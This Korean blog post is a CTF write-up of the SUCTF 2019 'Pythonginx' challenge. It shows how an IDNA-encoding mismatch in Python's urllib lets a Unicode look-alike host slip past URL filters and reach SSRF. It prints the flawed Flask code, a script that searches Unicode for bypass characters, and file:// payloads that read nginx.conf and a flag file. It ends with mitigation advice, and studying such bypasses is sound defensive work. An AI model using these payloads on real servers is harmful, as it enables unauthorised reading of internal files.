Python IDNA 인코딩 취약점을 활용한 URL 필터링 우회와 SSRF 분석

Python의 표준 라이브러리인 urllib.parse를 활용한 URL 파싱 과정에서 발생할 수 있는 보안 취약점은 상당히 고전적이면서도 강력합니다. 특히 IDNA(Internationalizing Domain Names in Applications) 인코딩 처리 과정에서 특정 유니코드 문자가 ASCII 문자로 변환되는 특성을 이용하면, 서버 측의 URL 필터링 로직을 무력화할 수 있습니다. SUCTF 2019의 'Pythonginx' 문제를 통해 이러한 취약점의 원리와 실제 공격 기법을 분석합니다.

취약한 코드 로직 분석

문제에서 제공된 웹 어플리케이션의 핵심 로직은 다음과 같습니다. 사용자가 입력한 URL을 세 단계의 검증 과정을 거쳐 처리합니다.

@app.route('/getUrl', methods=['GET', 'POST'])
def get_resource():
    user_url = request.args.get("url")
    
    # 1차 검증: urlparse를 이용한 호스트 확인
    initial_host = parse.urlparse(user_url).hostname
    if initial_host == 'suctf.cc':
        return "접근 거부: 1차 필터링"

    # 2차 검증: urlsplit을 이용한 호스트 확인
    url_components = list(urlsplit(user_url))
    split_host = url_components[1]
    if split_host == 'suctf.cc':
        return "접근 거부: 2차 필터링"

    # IDNA 인코딩 처리 (핵심 취약점 발생 지점)
    encoded_host_parts = []
    for part in split_host.split('.'):
        encoded_host_parts.append(part.encode('idna').decode('utf-8'))
    
    url_components[1] = '.'.join(encoded_host_parts)
    # 공백 제거 및 URL 재구성
    sanitized_url = urlunsplit(url_components).split(' ')[0]
    
    # 최종 검증 및 실행
    final_host = parse.urlparse(sanitized_url).hostname
    if final_host == 'suctf.cc':
        # 조건을 만족하면 해당 URL의 내용을 읽어 반환 (SSRF 가능 지점)
        return urllib.request.urlopen(sanitized_url).read()
    else:
        return "접근 거부: 최종 호스트가 일치하지 않음"

이 코드의 모순점은 앞선 두 번의 검증에서는 호스트가 suctf.cc가 아니어야 하지만, 마지막 단계에서는 반드시 suctf.cc여야 한다는 것입니다. 일반적인 문자열로는 이 조건을 동시에 만족시킬 수 없으나, IDNA 인코딩 특성을 이용하면 가능해집니다.

IDNA 인코딩과 유니코드 정규화 취약점

IDNA 인코딩 과정에서 특정 유니코드 문자들은 대응되는 ASCII 문자로 변환됩니다. 예를 들어, 유니코드 기호 (U+212D)는 IDNA 인코딩을 거치면 소문자 c로 변환됩니다.

이를 이용해 suctf.cℭ와 같은 호스트를 전달하면 다음과 같은 과정을 거치게 됩니다.

  1. urlparseurlsplitsuctf.cℭ를 그대로 인식하므로 suctf.cc와 일치하지 않아 필터링을 통과합니다.
  2. encode('idna').decode('utf-8') 과정을 거치면서 c로 변환되어 전체 호스트가 suctf.cc가 됩니다.
  3. 최종 검증에서 호스트가 suctf.cc이므로 urlopen() 함수가 실행됩니다.

우회 가능한 문자 탐색

어떤 유니코드 문자가 필터링 우회에 사용될 수 있는지 확인하기 위해 다음과 같은 파이썬 스크립트를 작성하여 전체 유니코드 범위를 탐색할 수 있습니다.

from urllib.parse import urlparse, urlunsplit, urlsplit

def find_collision_chars():
    valid_chars = []
    for i in range(65536):
        char = chr(i)
        try:
            # 1, 2차 검증 로직 모사
            payload = f"http://suctf.c{char}"
            if urlparse(payload).hostname == 'suctf.cc':
                continue
            if urlsplit(payload)[1] == 'suctf.cc':
                continue
            
            # 변환 로직 적용
            transformed = char.encode('idna').decode('utf-8')
            
            # 최종 결과 확인
            if transformed == 'c':
                print(f"발견된 문자: {char} | 유니코드: {hex(i)}")
                valid_chars.append(char)
        except:
            continue
    return valid_chars

if __name__ == "__main__":
    find_collision_chars()

공격 시나리오 및 실행

공격자는 urlopen()이 실행된다는 점을 이용해 SSRF(Server-Side Request Forgery)를 시도할 수 있습니다. 특히 file:// 스키마를 사용하여 서버 내부의 민감한 파일을 읽어오는 것이 가능합니다.

  1. Nginx 설정 파일 확인: 서버의 파일 구조를 파악하기 위해 Nginx 설정 파일을 먼저 읽어옵니다.
    /getUrl?url=file://suctf.cℭ/usr/local/nginx/conf/nginx.conf
  2. Flag 획득: 설정 파일 등을 통해 알아낸 플래그의 위치를 직접 조회합니다.
    /getUrl?url=file://suctf.cℭ/usr/fffffflag

이와 같은 취약점은 Nginx뿐만 아니라 다양한 웹 서버 환경에서 발생할 수 있습니다. urlparseurlsplit이 유니코드 정규화를 완벽하게 처리하지 못하는 상태에서 idna 인코딩을 수동으로 적용할 때 발생하는 전형적인 인코딩 불일치(Mismatch) 문제입니다. 이를 방지하기 위해서는 입력값에 대한 정규화를 인코딩 이전에 수행하거나, 신뢰할 수 없는 입력값이 URL 구성 요소에 직접 개입하지 않도록 설계해야 합니다.

태그: python ssrf idna urlparse web-security

8월 4일 16:15에 게시됨